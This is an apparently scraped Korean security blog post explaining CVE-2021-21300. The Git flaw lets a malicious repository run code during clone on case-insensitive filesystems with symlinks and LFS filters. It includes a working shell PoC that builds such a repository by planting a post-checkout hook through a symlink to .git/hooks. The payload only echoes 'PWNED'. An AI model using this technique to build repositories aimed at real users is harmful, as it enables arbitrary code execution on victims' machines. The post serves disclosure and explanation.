[하루한줄] CVE-2021-21300: Git의 저장소 clone 원격 코드 실행 취약점

link管理

链接快照平台

输入网页链接，自动生成快照
标签化管理网页链接

URL

git: malicious repositories can execute remote code while cloning

Target

Git(2.14.2.windows.1에서 테스트됨)

Explain

오픈소스 버전 관리 시스템인 Git에서 원격 저장소를 clone 하는 도중 원격 코드 실행이 가능한 취약점이 발견되어 관련 세부 정보가 공개되었습니다.

취약점의 트리거 조건은 다음과 같습니다.

타깃 시스템이 NTFS와 같이 대소문자를 구분하지 않고, 심볼릭 링크를 지원해야 합니다.(Windows 및 macOS의 기본 파일 시스템)

Git LFS와 같이 clean 혹은 smudge 필터가 전역적으로 구성되어있어야 합니다.

악성 저장소를 생성하는 PoC는 다음과 같습니다.

#!/bin/sh
  git init delayed-checkout &&
  	cd delayed-checkout &&
  	echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \\
  		>.gitattributes &&
  	mkdir A &&
  	printf '#!/bin/sh\\n\\necho PWNED >&2\\n' >A/post-checkout &&
  	chmod +x A/post-checkout &&
  	git add -A &&
  	rm -rf A &&
  	ln -s .git/hooks a &&
  	git add a &&
  	git commit -m initial
임의 코드를 실행하는 악성 파일인 A/post-checkout이 저장소에 추가된 후 제거되면 Git 캐시에 남습니다. 이후 ./git/hooks의 심볼릭 링크 a를 생성합니다.
git hooks - 특정 이벤트에 실행되는 스크립트
타깃이 대소문자를 구분하지 않는 파일 시스템이라면 해당 저장소를 clone 할 때 a와 A를 구분하지 못해 ./git/hooks/post-checkout 파일이 Git 캐시에 저장된 악성파일인 A/post-checkout로 대체됩니다.
git hooks에 의해 post-checkout가 실행되고 post-checkout에 작성된 임의 코드가 실행됩니다.
Reference
POC - https://github.com/Maskhe/CVE-2021-21300

推荐文章

重感情的大象 · pycharm、goland、phpstom等jetbrains产品中，显示每一行代码的git修改信息的方法_mb5fe94d44e2c3a的技术博客_

1 周前

气宇轩昂的大海 · 『现学现忘』Git基础 — 25、git log命令参数详解 - 繁华似锦Fighting

3 天前

个性的单杠 · git - git log 限制输出长度_git log 输出有限个

3 天前

高兴的黄豆 · Git 历史与日志管理教程 | LabEx

3 天前

光明磊落的路灯 · 对于 Git 每一次提交的时间信息，什么是作者日期和提交者日期_github为什么可以看到提交时间

3 天前

热情的签字笔 · 米哈游四大老板，身价飙至1635亿 | 投中网

2 月前

听话的手套 · 2.6. PowerShell 脚本（Windows 服务器） | Red Hat Product Documentation

4 月前

力能扛鼎的冰棍 · 耗资3.6亿！历史剧《诸葛亮传》立项！谁当主角？6位演员可期待_腾讯新闻

4 月前

小胡子的日光灯 · MySQL WITH与json_table联合使用产生报错1210 - Incorrect arguments to JSON_TABLE_row import failed with error:

5 月前

火爆的手术刀 · 经济说-建行大山白金卡（龙卡尊享白金）权益及玩法介绍|废话|微软|原因|小白|享白金|要特别

5 月前